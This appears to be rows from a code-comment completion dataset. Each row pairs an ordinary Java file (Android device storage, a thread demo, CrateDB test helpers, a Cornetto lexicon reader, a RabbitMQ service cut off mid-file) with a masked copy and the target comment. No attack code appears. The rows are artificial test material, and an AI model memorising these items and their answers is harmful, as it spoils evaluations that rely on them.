package com.eomarker.storage; import android.content.Context; import android.widget.Toast; import com.eomarker.device.Device; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.io.BufferedReader; import java.io.File; import java.io.FileOutputStream; import java.io.FileReader; import java.io.IOException; import java.util.ArrayList; import java.util.List; public class InternalStorage { private File storageFile; Context context; public InternalStorage(Context _context) { context = _context; storageFile = new File(context.getFilesDir(), "devices.json"); if (!storageFile.exists()) { try { storageFile.createNewFile(); } catch (IOException e) { e.printStackTrace(); } } } public void saveDevice(Device device) { try { JSONArray jsonArray = readJsonArrayFromFile(); JSONObject deviceObject = new JSONObject(); deviceObject.put("macAddress", device.macAddress); deviceObject.put("name", device.name); jsonArray.put(deviceObject); FileOutputStream fos = new FileOutputStream(storageFile); fos.write(jsonArray.toString().getBytes()); fos.close(); } catch (IOException | JSONException e) { e.printStackTrace(); } } public List<Device> getDevices() { List<Device> devices = new ArrayList<>(); try { JSONArray jsonArray = readJsonArrayFromFile(); for (int i = 0; i < jsonArray.length(); i++) { JSONObject deviceObject = jsonArray.getJSONObject(i); String macAddress = deviceObject.getString("macAddress"); String name = deviceObject.getString("name"); devices.add(new Device(macAddress, name)); } } catch (JSONException e) { e.printStackTrace(); } return devices; } public void updateDeviceName(String macAddress, String newName) { try { JSONArray jsonArray = readJsonArrayFromFile(); for (int i = 0; i < jsonArray.length(); i++) { JSONObject deviceObject = jsonArray.getJSONObject(i); String deviceMacAddress = deviceObject.getString("macAddress"); // Controleer of het macAdres overeenkomt met het gezochte apparaat if (deviceMacAddress.equals(macAddress)) { // Wijzig de naam van het apparaat deviceObject.put("name", newName); // Sla de bijgewerkte array terug op FileOutputStream fos = new FileOutputStream(storageFile); fos.write(jsonArray.toString().getBytes()); fos.close(); return; // Stop de loop omdat het apparaat is gevonden en bijgewerkt } } } catch (IOException | JSONException e) { e.printStackTrace(); } } private JSONArray readJsonArrayFromFile() { JSONArray jsonArray = new JSONArray(); try { BufferedReader reader = new BufferedReader(new FileReader(storageFile)); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { stringBuilder.append(line); } reader.close(); jsonArray = new JSONArray(stringBuilder.toString()); } catch (IOException | JSONException e) { e.printStackTrace(); } return jsonArray; } public void deleteData() { try{ storageFile = new File(context.getFilesDir(), "devices.json"); storageFile.delete(); Toast.makeText(context, "Data deleted!", Toast.LENGTH_SHORT).show(); }catch (Exception e){ Toast.makeText(context, "Unable to delete data...", Toast.LENGTH_SHORT).show(); } } public void deleteDevice(Device device) { try { JSONArray jsonArray = readJsonArrayFromFile(); JSONArray updatedArray = new JSONArray(); for (int i = 0; i < jsonArray.length(); i++) { JSONObject deviceObject = jsonArray.getJSONObject(i); String deviceMacAddress = deviceObject.getString("macAddress"); // Als het macAdres overeenkomt met het te verwijderen apparaat, sla het niet op in de bijgewerkte array if (!deviceMacAddress.equals(device.macAddress)) { updatedArray.put(deviceObject); } } // Overschrijf het opslaan van de bijgewerkte array FileOutputStream fos = new FileOutputStream(storageFile); fos.write(updatedArray.toString().getBytes()); fos.close(); } catch (IOException | JSONException e) { e.printStackTrace(); } } }
vives-project-xp/EOMarkers
AndroidStudio/EOMarker/app/src/main/java/com/eomarker/storage/InternalStorage.java
1,298
// Controleer of het macAdres overeenkomt met het gezochte apparaat
line_comment
nl
package com.eomarker.storage; import android.content.Context; import android.widget.Toast; import com.eomarker.device.Device; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.io.BufferedReader; import java.io.File; import java.io.FileOutputStream; import java.io.FileReader; import java.io.IOException; import java.util.ArrayList; import java.util.List; public class InternalStorage { private File storageFile; Context context; public InternalStorage(Context _context) { context = _context; storageFile = new File(context.getFilesDir(), "devices.json"); if (!storageFile.exists()) { try { storageFile.createNewFile(); } catch (IOException e) { e.printStackTrace(); } } } public void saveDevice(Device device) { try { JSONArray jsonArray = readJsonArrayFromFile(); JSONObject deviceObject = new JSONObject(); deviceObject.put("macAddress", device.macAddress); deviceObject.put("name", device.name); jsonArray.put(deviceObject); FileOutputStream fos = new FileOutputStream(storageFile); fos.write(jsonArray.toString().getBytes()); fos.close(); } catch (IOException | JSONException e) { e.printStackTrace(); } } public List<Device> getDevices() { List<Device> devices = new ArrayList<>(); try { JSONArray jsonArray = readJsonArrayFromFile(); for (int i = 0; i < jsonArray.length(); i++) { JSONObject deviceObject = jsonArray.getJSONObject(i); String macAddress = deviceObject.getString("macAddress"); String name = deviceObject.getString("name"); devices.add(new Device(macAddress, name)); } } catch (JSONException e) { e.printStackTrace(); } return devices; } public void updateDeviceName(String macAddress, String newName) { try { JSONArray jsonArray = readJsonArrayFromFile(); for (int i = 0; i < jsonArray.length(); i++) { JSONObject deviceObject = jsonArray.getJSONObject(i); String deviceMacAddress = deviceObject.getString("macAddress"); // Controleer of<SUF> if (deviceMacAddress.equals(macAddress)) { // Wijzig de naam van het apparaat deviceObject.put("name", newName); // Sla de bijgewerkte array terug op FileOutputStream fos = new FileOutputStream(storageFile); fos.write(jsonArray.toString().getBytes()); fos.close(); return; // Stop de loop omdat het apparaat is gevonden en bijgewerkt } } } catch (IOException | JSONException e) { e.printStackTrace(); } } private JSONArray readJsonArrayFromFile() { JSONArray jsonArray = new JSONArray(); try { BufferedReader reader = new BufferedReader(new FileReader(storageFile)); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { stringBuilder.append(line); } reader.close(); jsonArray = new JSONArray(stringBuilder.toString()); } catch (IOException | JSONException e) { e.printStackTrace(); } return jsonArray; } public void deleteData() { try{ storageFile = new File(context.getFilesDir(), "devices.json"); storageFile.delete(); Toast.makeText(context, "Data deleted!", Toast.LENGTH_SHORT).show(); }catch (Exception e){ Toast.makeText(context, "Unable to delete data...", Toast.LENGTH_SHORT).show(); } } public void deleteDevice(Device device) { try { JSONArray jsonArray = readJsonArrayFromFile(); JSONArray updatedArray = new JSONArray(); for (int i = 0; i < jsonArray.length(); i++) { JSONObject deviceObject = jsonArray.getJSONObject(i); String deviceMacAddress = deviceObject.getString("macAddress"); // Als het macAdres overeenkomt met het te verwijderen apparaat, sla het niet op in de bijgewerkte array if (!deviceMacAddress.equals(device.macAddress)) { updatedArray.put(deviceObject); } } // Overschrijf het opslaan van de bijgewerkte array FileOutputStream fos = new FileOutputStream(storageFile); fos.write(updatedArray.toString().getBytes()); fos.close(); } catch (IOException | JSONException e) { e.printStackTrace(); } } }
True
915
21
1,075
23
1,111
15
1,075
23
1,259
22
false
false
false
false
false
true
4,787
151635_0
package mthread;_x000D_ _x000D_ public class SynchronizeFbLike {_x000D_ _x000D_ public static void main( String[] args ) {_x000D_ _x000D_ /* Facebook Page: Everest, Current Likes: 500 */_x000D_ final FacebookLike everestFbPagePiclike = new FacebookLike( 500 );_x000D_ _x000D_ Thread user1 = new Thread( ) {_x000D_ public void run( ) {_x000D_ everestFbPagePiclike.plusOne( );_x000D_ }_x000D_ };_x000D_ Thread user2 = new Thread( ) {_x000D_ public void run( ) {_x000D_ everestFbPagePiclike.plusOne( );_x000D_ }_x000D_ };_x000D_ Thread user3 = new Thread( ) {_x000D_ public void run( ) {_x000D_ everestFbPagePiclike.plusOne( );_x000D_ }_x000D_ };_x000D_ Thread user4 = new Thread( ) {_x000D_ public void run( ) {_x000D_ everestFbPagePiclike.plusOne( );_x000D_ }_x000D_ };_x000D_ _x000D_ /* User1,2,3,4 hit like button in Everest Facebook Page */_x000D_ user1.start( );_x000D_ user2.start( );_x000D_ user3.start( );_x000D_ user4.start( );_x000D_ _x000D_ }_x000D_ }_x000D_
yrojha4ever/JavaStud
src/mthread/SynchronizeFbLike.java
312
/* Facebook Page: Everest, Current Likes: 500 */
block_comment
nl
package mthread;_x000D_ _x000D_ public class SynchronizeFbLike {_x000D_ _x000D_ public static void main( String[] args ) {_x000D_ _x000D_ /* Facebook Page: Everest,<SUF>*/_x000D_ final FacebookLike everestFbPagePiclike = new FacebookLike( 500 );_x000D_ _x000D_ Thread user1 = new Thread( ) {_x000D_ public void run( ) {_x000D_ everestFbPagePiclike.plusOne( );_x000D_ }_x000D_ };_x000D_ Thread user2 = new Thread( ) {_x000D_ public void run( ) {_x000D_ everestFbPagePiclike.plusOne( );_x000D_ }_x000D_ };_x000D_ Thread user3 = new Thread( ) {_x000D_ public void run( ) {_x000D_ everestFbPagePiclike.plusOne( );_x000D_ }_x000D_ };_x000D_ Thread user4 = new Thread( ) {_x000D_ public void run( ) {_x000D_ everestFbPagePiclike.plusOne( );_x000D_ }_x000D_ };_x000D_ _x000D_ /* User1,2,3,4 hit like button in Everest Facebook Page */_x000D_ user1.start( );_x000D_ user2.start( );_x000D_ user3.start( );_x000D_ user4.start( );_x000D_ _x000D_ }_x000D_ }_x000D_
False
493
14
530
17
526
14
530
17
594
16
false
false
false
false
false
true
2,457
69517_1
/* * Licensed to Crate.io GmbH ("Crate") under one or more contributor * license agreements. See the NOTICE file distributed with this work for * additional information regarding copyright ownership. Crate licenses * this file to you under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. You may * obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. * * However, if you have executed another commercial license agreement * with Crate these terms will supersede the license and you may use the * software solely pursuant to the terms of the relevant commercial agreement. */ package io.crate.testing; import java.util.List; import java.util.function.Consumer; import java.util.function.Function; import org.assertj.core.api.Assertions; import org.assertj.core.api.Condition; import org.assertj.core.api.ThrowableAssert.ThrowingCallable; import org.assertj.core.data.Offset; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.index.mapper.ParsedDocument; import io.crate.analyze.OrderBy; import io.crate.analyze.relations.AnalyzedRelation; import io.crate.analyze.relations.DocTableRelation; import io.crate.analyze.relations.JoinPair; import io.crate.analyze.where.DocKeys; import io.crate.data.Input; import io.crate.execution.dsl.projection.Projection; import io.crate.expression.symbol.Literal; import io.crate.expression.symbol.Symbol; import io.crate.metadata.RelationName; import io.crate.metadata.Scalar; import io.crate.planner.operators.LogicalPlan; import io.crate.role.Policy; import io.crate.sql.tree.ColumnPolicy; import io.crate.sql.tree.Expression; import io.crate.sql.tree.Node; import io.crate.types.DataType; import io.crate.types.DataTypes; public class Asserts extends Assertions { private Asserts() {} public static SettingsAssert assertThat(Settings actual) { return new SettingsAssert(actual); } public static SymbolAssert assertThat(Symbol actual) { return new SymbolAssert(actual); } public static SymbolsAssert<? extends Symbol> assertList(List<? extends Symbol> actual) { return new SymbolsAssert<>(actual); } public static NodeAssert assertThat(Node actual) { return new NodeAssert(actual); } public static ProjectionAssert assertThat(Projection actual) { return new ProjectionAssert(actual); } public static SQLResponseAssert assertThat(SQLResponse actual) { return new SQLResponseAssert(actual); } public static SQLErrorAssert assertSQLError(ThrowingCallable callable) { return new SQLErrorAssert(catchThrowable(callable)); } public static DocKeyAssert assertThat(DocKeys.DocKey actual) { return new DocKeyAssert(actual); } // isSQL Assertions public static SQLAssert<AnalyzedRelation> assertThat(AnalyzedRelation actual) { return new SQLAssert<>(actual); } public static SQLAssert<OrderBy> assertThat(OrderBy actual) { return new SQLAssert<>(actual); } public static SQLAssert<Expression> assertThat(Expression actual) { return new SQLAssert<>(actual); } public static LogicalPlanAssert assertThat(LogicalPlan actual) { return new LogicalPlanAssert(actual, null); } public static JoinPairAssert assertThat(JoinPair actual) { return new JoinPairAssert(actual); } public static ParsedDocumentAssert assertThat(ParsedDocument actual) { return new ParsedDocumentAssert(actual); } public static PrivilegeResolutionAssert assertThat(Policy actual) { return new PrivilegeResolutionAssert(actual); } // generic helper methods public static <T> Condition<T> toCondition(Consumer<T> consumer) { return new Condition<>(t -> { consumer.accept(t); return true; }, ""); } public static <T> Consumer<T> isEqualTo(T expectedValue) { return x -> assertThat(x).isEqualTo(expectedValue); } public static <T> Consumer<T> isNull() { return s -> assertThat(s).isNull(); } public static <T> Consumer<T> isNotNull() { return s -> assertThat(s).isNotNull(); } public static <T> Consumer<T> exactlyInstanceOf(Class<?> clazz) { return s -> assertThat(s).isExactlyInstanceOf(clazz); } public static Consumer<String> startsWith(String expected) { return s -> assertThat(s).startsWith(expected); } // Table public static Consumer<AnalyzedRelation> isDocTable(RelationName expectedRelationName) { return s -> { assertThat(s).isExactlyInstanceOf(DocTableRelation.class); assertThat(((DocTableRelation) s).tableInfo().ident()) .as("relationName").isEqualTo(expectedRelationName); }; } // Symbol related public static Consumer<Symbol> isField(String expectedColumnName) { return s -> Asserts.assertThat(s).isField(expectedColumnName); } public static Consumer<Symbol> isField(String expectedColumnName, DataType<?> expectedDataType) { return s -> Asserts.assertThat(s).isField(expectedColumnName, expectedDataType); } public static Consumer<Symbol> isField(String expectedColumnName, RelationName expectedRelationName) { return s -> Asserts.assertThat(s).isField(expectedColumnName, expectedRelationName); } public static Consumer<Symbol> isLiteral(Object value) { return s -> Asserts.assertThat(s).isLiteral(value); } public static Consumer<Symbol> isLiteral(Object expectedValue, DataType<?> expectedType) { return s -> assertThat(s).isLiteral(expectedValue, expectedType); } public static Consumer<Symbol> isLiteral(Double expectedValue, double precisionError) { return s -> { assertThat(s).isNotNull(); assertThat(s).isExactlyInstanceOf(Literal.class); assertThat(s).hasDataType(DataTypes.DOUBLE); Double value = (Double) ((Input<?>) s).value(); assertThat(value).isCloseTo(expectedValue, Offset.offset(precisionError)); }; } public static Consumer<Symbol> isReference(String expectedName) { return s -> assertThat(s) .isReference() .hasName(expectedName); } public static Consumer<Symbol> isReference(String expectedName, DataType<?> expectedType) { return s -> assertThat(s) .isReference() .hasName(expectedName) .hasType(expectedType); } public static Consumer<Symbol> isScopedSymbol(String expectedName) { return s -> assertThat(s).isScopedSymbol(expectedName); } public static Consumer<Symbol> isSQL(String expectedName) { return s -> assertThat(s).isSQL(expectedName); } public static Consumer<Symbol> isFetchStub(String expectedName) { return s -> assertThat(s).isFetchStub(expectedName); } public static Consumer<Symbol> isFetchMarker(RelationName expectedRelationName, Consumer<Symbol> refsMatcher) { return s -> assertThat(s).isFetchMarker(expectedRelationName, refsMatcher); } public static Consumer<Symbol> isFunction(String expectedName) { return s -> assertThat(s).isFunction(expectedName); } public static Consumer<Symbol> isFunction(String expectedName, List<DataType<?>> expectedArgTypes) { return s -> assertThat(s).isFunction(expectedName, expectedArgTypes); } @SafeVarargs public static Consumer<Symbol> isFunction(String expectedName, Consumer<Symbol>... argMatchers) { return s -> assertThat(s).isFunction(expectedName, argMatchers); } public static Consumer<Symbol> isInputColumn(int expectedIndex) { return s -> assertThat(s).isInputColumn(expectedIndex); } public static Consumer<Symbol> isAlias(String expectedAliasName, Consumer<Symbol> childMatcher) { return s -> assertThat(s).isAlias(expectedAliasName, childMatcher); } public static void assertSQL(Object obj, String expectedStmt) { assertThat(SQLPrinter.print(obj)).as(expectedStmt).isEqualTo(expectedStmt); } // Node public static Consumer<Node> isColumnType(String expectedTypeName) { return n -> assertThat(n).isColumnType(expectedTypeName); } public static Consumer<Node> isColumnType(String expectedTypeName, Integer... expectedParams) { return n -> assertThat(n).isColumnType(expectedTypeName, expectedParams); } public static Consumer<Node> isObjectColumnType(String expectedTypeName, Consumer<ColumnPolicy> columnPolicyMatcher) { return n -> assertThat(n).isObjectColumnType(expectedTypeName, columnPolicyMatcher); } public static Consumer<Node> isObjectColumnType(String expectedTypeName, Consumer<ColumnPolicy> columnPolicyMatcher, Consumer<Iterable<? extends Node>> nestedColumnsMatcher) { return n -> assertThat(n).isObjectColumnType(expectedTypeName, columnPolicyMatcher, nestedColumnsMatcher); } public static Consumer<Node> isCollectionColumnType(String expectedTypeName, Consumer<Node> innerTypeMatcher) { return n -> assertThat(n).isCollectionColumnType(expectedTypeName, innerTypeMatcher); } public static Consumer<Node> isColumnDefinition(String expectedIdent, Consumer<Node> columnTypeMatcher) { return n -> assertThat(n).isColumnDefinition(expectedIdent, columnTypeMatcher); } // Projections public static Consumer<Projection> isLimitAndOffset(int expectedLimit, int expectedOffset) { return p -> assertThat(p).isLimitAndOffset(expectedLimit, expectedOffset); } // Functions @SuppressWarnings("rawtypes") public static Function<Scalar, Consumer<Scalar>> isSameInstance() { return scalar -> s -> assertThat(s).isSameAs(scalar); } @SuppressWarnings("rawtypes") public static Function<Scalar, Consumer<Scalar>> isNotSameInstance() { return scalar -> s -> assertThat(s).isNotSameAs(scalar); } }
crate/crate
server/src/testFixtures/java/io/crate/testing/Asserts.java
2,871
// generic helper methods
line_comment
nl
/* * Licensed to Crate.io GmbH ("Crate") under one or more contributor * license agreements. See the NOTICE file distributed with this work for * additional information regarding copyright ownership. Crate licenses * this file to you under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. You may * obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. * * However, if you have executed another commercial license agreement * with Crate these terms will supersede the license and you may use the * software solely pursuant to the terms of the relevant commercial agreement. */ package io.crate.testing; import java.util.List; import java.util.function.Consumer; import java.util.function.Function; import org.assertj.core.api.Assertions; import org.assertj.core.api.Condition; import org.assertj.core.api.ThrowableAssert.ThrowingCallable; import org.assertj.core.data.Offset; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.index.mapper.ParsedDocument; import io.crate.analyze.OrderBy; import io.crate.analyze.relations.AnalyzedRelation; import io.crate.analyze.relations.DocTableRelation; import io.crate.analyze.relations.JoinPair; import io.crate.analyze.where.DocKeys; import io.crate.data.Input; import io.crate.execution.dsl.projection.Projection; import io.crate.expression.symbol.Literal; import io.crate.expression.symbol.Symbol; import io.crate.metadata.RelationName; import io.crate.metadata.Scalar; import io.crate.planner.operators.LogicalPlan; import io.crate.role.Policy; import io.crate.sql.tree.ColumnPolicy; import io.crate.sql.tree.Expression; import io.crate.sql.tree.Node; import io.crate.types.DataType; import io.crate.types.DataTypes; public class Asserts extends Assertions { private Asserts() {} public static SettingsAssert assertThat(Settings actual) { return new SettingsAssert(actual); } public static SymbolAssert assertThat(Symbol actual) { return new SymbolAssert(actual); } public static SymbolsAssert<? extends Symbol> assertList(List<? extends Symbol> actual) { return new SymbolsAssert<>(actual); } public static NodeAssert assertThat(Node actual) { return new NodeAssert(actual); } public static ProjectionAssert assertThat(Projection actual) { return new ProjectionAssert(actual); } public static SQLResponseAssert assertThat(SQLResponse actual) { return new SQLResponseAssert(actual); } public static SQLErrorAssert assertSQLError(ThrowingCallable callable) { return new SQLErrorAssert(catchThrowable(callable)); } public static DocKeyAssert assertThat(DocKeys.DocKey actual) { return new DocKeyAssert(actual); } // isSQL Assertions public static SQLAssert<AnalyzedRelation> assertThat(AnalyzedRelation actual) { return new SQLAssert<>(actual); } public static SQLAssert<OrderBy> assertThat(OrderBy actual) { return new SQLAssert<>(actual); } public static SQLAssert<Expression> assertThat(Expression actual) { return new SQLAssert<>(actual); } public static LogicalPlanAssert assertThat(LogicalPlan actual) { return new LogicalPlanAssert(actual, null); } public static JoinPairAssert assertThat(JoinPair actual) { return new JoinPairAssert(actual); } public static ParsedDocumentAssert assertThat(ParsedDocument actual) { return new ParsedDocumentAssert(actual); } public static PrivilegeResolutionAssert assertThat(Policy actual) { return new PrivilegeResolutionAssert(actual); } // generic helper<SUF> public static <T> Condition<T> toCondition(Consumer<T> consumer) { return new Condition<>(t -> { consumer.accept(t); return true; }, ""); } public static <T> Consumer<T> isEqualTo(T expectedValue) { return x -> assertThat(x).isEqualTo(expectedValue); } public static <T> Consumer<T> isNull() { return s -> assertThat(s).isNull(); } public static <T> Consumer<T> isNotNull() { return s -> assertThat(s).isNotNull(); } public static <T> Consumer<T> exactlyInstanceOf(Class<?> clazz) { return s -> assertThat(s).isExactlyInstanceOf(clazz); } public static Consumer<String> startsWith(String expected) { return s -> assertThat(s).startsWith(expected); } // Table public static Consumer<AnalyzedRelation> isDocTable(RelationName expectedRelationName) { return s -> { assertThat(s).isExactlyInstanceOf(DocTableRelation.class); assertThat(((DocTableRelation) s).tableInfo().ident()) .as("relationName").isEqualTo(expectedRelationName); }; } // Symbol related public static Consumer<Symbol> isField(String expectedColumnName) { return s -> Asserts.assertThat(s).isField(expectedColumnName); } public static Consumer<Symbol> isField(String expectedColumnName, DataType<?> expectedDataType) { return s -> Asserts.assertThat(s).isField(expectedColumnName, expectedDataType); } public static Consumer<Symbol> isField(String expectedColumnName, RelationName expectedRelationName) { return s -> Asserts.assertThat(s).isField(expectedColumnName, expectedRelationName); } public static Consumer<Symbol> isLiteral(Object value) { return s -> Asserts.assertThat(s).isLiteral(value); } public static Consumer<Symbol> isLiteral(Object expectedValue, DataType<?> expectedType) { return s -> assertThat(s).isLiteral(expectedValue, expectedType); } public static Consumer<Symbol> isLiteral(Double expectedValue, double precisionError) { return s -> { assertThat(s).isNotNull(); assertThat(s).isExactlyInstanceOf(Literal.class); assertThat(s).hasDataType(DataTypes.DOUBLE); Double value = (Double) ((Input<?>) s).value(); assertThat(value).isCloseTo(expectedValue, Offset.offset(precisionError)); }; } public static Consumer<Symbol> isReference(String expectedName) { return s -> assertThat(s) .isReference() .hasName(expectedName); } public static Consumer<Symbol> isReference(String expectedName, DataType<?> expectedType) { return s -> assertThat(s) .isReference() .hasName(expectedName) .hasType(expectedType); } public static Consumer<Symbol> isScopedSymbol(String expectedName) { return s -> assertThat(s).isScopedSymbol(expectedName); } public static Consumer<Symbol> isSQL(String expectedName) { return s -> assertThat(s).isSQL(expectedName); } public static Consumer<Symbol> isFetchStub(String expectedName) { return s -> assertThat(s).isFetchStub(expectedName); } public static Consumer<Symbol> isFetchMarker(RelationName expectedRelationName, Consumer<Symbol> refsMatcher) { return s -> assertThat(s).isFetchMarker(expectedRelationName, refsMatcher); } public static Consumer<Symbol> isFunction(String expectedName) { return s -> assertThat(s).isFunction(expectedName); } public static Consumer<Symbol> isFunction(String expectedName, List<DataType<?>> expectedArgTypes) { return s -> assertThat(s).isFunction(expectedName, expectedArgTypes); } @SafeVarargs public static Consumer<Symbol> isFunction(String expectedName, Consumer<Symbol>... argMatchers) { return s -> assertThat(s).isFunction(expectedName, argMatchers); } public static Consumer<Symbol> isInputColumn(int expectedIndex) { return s -> assertThat(s).isInputColumn(expectedIndex); } public static Consumer<Symbol> isAlias(String expectedAliasName, Consumer<Symbol> childMatcher) { return s -> assertThat(s).isAlias(expectedAliasName, childMatcher); } public static void assertSQL(Object obj, String expectedStmt) { assertThat(SQLPrinter.print(obj)).as(expectedStmt).isEqualTo(expectedStmt); } // Node public static Consumer<Node> isColumnType(String expectedTypeName) { return n -> assertThat(n).isColumnType(expectedTypeName); } public static Consumer<Node> isColumnType(String expectedTypeName, Integer... expectedParams) { return n -> assertThat(n).isColumnType(expectedTypeName, expectedParams); } public static Consumer<Node> isObjectColumnType(String expectedTypeName, Consumer<ColumnPolicy> columnPolicyMatcher) { return n -> assertThat(n).isObjectColumnType(expectedTypeName, columnPolicyMatcher); } public static Consumer<Node> isObjectColumnType(String expectedTypeName, Consumer<ColumnPolicy> columnPolicyMatcher, Consumer<Iterable<? extends Node>> nestedColumnsMatcher) { return n -> assertThat(n).isObjectColumnType(expectedTypeName, columnPolicyMatcher, nestedColumnsMatcher); } public static Consumer<Node> isCollectionColumnType(String expectedTypeName, Consumer<Node> innerTypeMatcher) { return n -> assertThat(n).isCollectionColumnType(expectedTypeName, innerTypeMatcher); } public static Consumer<Node> isColumnDefinition(String expectedIdent, Consumer<Node> columnTypeMatcher) { return n -> assertThat(n).isColumnDefinition(expectedIdent, columnTypeMatcher); } // Projections public static Consumer<Projection> isLimitAndOffset(int expectedLimit, int expectedOffset) { return p -> assertThat(p).isLimitAndOffset(expectedLimit, expectedOffset); } // Functions @SuppressWarnings("rawtypes") public static Function<Scalar, Consumer<Scalar>> isSameInstance() { return scalar -> s -> assertThat(s).isSameAs(scalar); } @SuppressWarnings("rawtypes") public static Function<Scalar, Consumer<Scalar>> isNotSameInstance() { return scalar -> s -> assertThat(s).isNotSameAs(scalar); } }
False
2,136
4
2,386
4
2,595
4
2,386
4
2,992
4
false
false
false
false
false
true
2,404
121822_1
package vu.cornetto.cdb; import java.io.FileInputStream; import java.io.InputStreamReader; import java.io.BufferedReader; import java.io.IOException; import java.util.HashMap; /** * Created by IntelliJ IDEA. * User: Piek Vossen * Date: 11-dec-2008 * Time: 9:01:51 * To change this template use File | Settings | File Templates. */ public class LuReader { public HashMap luMap; public LuReader () { luMap = new HashMap(); } public void readLuData (String filePath) { /* r_v-9981#weggeven#verb r_v-9982#weggeven#verb r_v-9983#wegglijden#verb r_v-9984#wegglippen#verb r_v-9985#weggooien#verb r_v-9986#weghalen#verb */ try { FileInputStream fis = new FileInputStream(filePath); InputStreamReader isr = new InputStreamReader(fis); BufferedReader in = new BufferedReader(isr); String inputLine; int mapCount = 0; while (in.ready()&&(inputLine = in.readLine()) != null) { if (inputLine.trim().length()>0) { String [] fields = inputLine.split("#"); if (fields.length==4) { String lu_id = fields[0].trim(); String form = fields[1].trim(); String seq = fields[2].trim(); String formPos = fields[3].trim(); CdbLuForm lu = new CdbLuForm(); lu.setFormCat(formPos); lu.setFormSpelling(form); lu.setSeqNr(seq); luMap.put(lu_id, lu); } } } System.out.println("read mapppings = " + mapCount); in.close(); } catch (IOException e) { e.printStackTrace(); } } public void readLuData2 (String filePath) { /* r_v-9981#weggeven#verb r_v-9982#weggeven#verb r_v-9983#wegglijden#verb r_v-9984#wegglippen#verb r_v-9985#weggooien#verb r_v-9986#weghalen#verb */ try { FileInputStream fis = new FileInputStream(filePath); InputStreamReader isr = new InputStreamReader(fis); BufferedReader in = new BufferedReader(isr); String inputLine; int mapCount = 0; while (in.ready()&&(inputLine = in.readLine()) != null) { if (inputLine.trim().length()>0) { String [] fields = inputLine.split(";"); if (fields.length==3) { String lu_id = fields[0].trim(); String form = fields[1].trim(); String seq = fields[2].trim(); String formPos = fields[3].trim(); CdbLuForm lu = new CdbLuForm(); lu.setFormCat(formPos); lu.setFormSpelling(form); lu.setSeqNr(seq); luMap.put(lu_id, lu); } } } System.out.println("read mapppings = " + mapCount); in.close(); } catch (IOException e) { e.printStackTrace(); } } }
cltl/CornettoExportParser
src/main/java/vu/cornetto/cdb/LuReader.java
962
/* r_v-9981#weggeven#verb r_v-9982#weggeven#verb r_v-9983#wegglijden#verb r_v-9984#wegglippen#verb r_v-9985#weggooien#verb r_v-9986#weghalen#verb */
block_comment
nl
package vu.cornetto.cdb; import java.io.FileInputStream; import java.io.InputStreamReader; import java.io.BufferedReader; import java.io.IOException; import java.util.HashMap; /** * Created by IntelliJ IDEA. * User: Piek Vossen * Date: 11-dec-2008 * Time: 9:01:51 * To change this template use File | Settings | File Templates. */ public class LuReader { public HashMap luMap; public LuReader () { luMap = new HashMap(); } public void readLuData (String filePath) { /* r_v-9981#weggeven#verb r_v-9982#weggeven#verb r_v-9983#wegglijden#verb<SUF>*/ try { FileInputStream fis = new FileInputStream(filePath); InputStreamReader isr = new InputStreamReader(fis); BufferedReader in = new BufferedReader(isr); String inputLine; int mapCount = 0; while (in.ready()&&(inputLine = in.readLine()) != null) { if (inputLine.trim().length()>0) { String [] fields = inputLine.split("#"); if (fields.length==4) { String lu_id = fields[0].trim(); String form = fields[1].trim(); String seq = fields[2].trim(); String formPos = fields[3].trim(); CdbLuForm lu = new CdbLuForm(); lu.setFormCat(formPos); lu.setFormSpelling(form); lu.setSeqNr(seq); luMap.put(lu_id, lu); } } } System.out.println("read mapppings = " + mapCount); in.close(); } catch (IOException e) { e.printStackTrace(); } } public void readLuData2 (String filePath) { /* r_v-9981#weggeven#verb r_v-9982#weggeven#verb r_v-9983#wegglijden#verb r_v-9984#wegglippen#verb r_v-9985#weggooien#verb r_v-9986#weghalen#verb */ try { FileInputStream fis = new FileInputStream(filePath); InputStreamReader isr = new InputStreamReader(fis); BufferedReader in = new BufferedReader(isr); String inputLine; int mapCount = 0; while (in.ready()&&(inputLine = in.readLine()) != null) { if (inputLine.trim().length()>0) { String [] fields = inputLine.split(";"); if (fields.length==3) { String lu_id = fields[0].trim(); String form = fields[1].trim(); String seq = fields[2].trim(); String formPos = fields[3].trim(); CdbLuForm lu = new CdbLuForm(); lu.setFormCat(formPos); lu.setFormSpelling(form); lu.setSeqNr(seq); luMap.put(lu_id, lu); } } } System.out.println("read mapppings = " + mapCount); in.close(); } catch (IOException e) { e.printStackTrace(); } } }
False
757
88
845
99
887
92
845
99
977
98
false
false
false
false
false
true
1,520
67090_10
package nl.sidn.entrada2.service.messaging; import java.io.IOException; import org.apache.commons.lang3.StringUtils; import org.springframework.amqp.core.AcknowledgeMode; import org.springframework.amqp.core.AmqpTemplate; import org.springframework.amqp.rabbit.annotation.RabbitListener; import org.springframework.amqp.support.AmqpHeaders; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.beans.factory.annotation.Value; import org.springframework.messaging.handler.annotation.Header; import org.springframework.stereotype.Service; import com.rabbitmq.client.Channel; import lombok.extern.slf4j.Slf4j; import nl.sidn.entrada2.messaging.S3EventNotification; import nl.sidn.entrada2.messaging.S3EventNotification.S3EventNotificationRecord; import nl.sidn.entrada2.service.WorkService; import nl.sidn.entrada2.util.ConditionalOnRabbitMQ; import nl.sidn.entrada2.util.UrlUtil; @ConditionalOnRabbitMQ @Service @Slf4j public class RabbitRequestQueueService extends AbstractRabbitQueue implements RequestQueue { @Value("${entrada.messaging.leader.name}") private String queueName; @Autowired(required = false) @Qualifier("rabbitByteTemplate") private 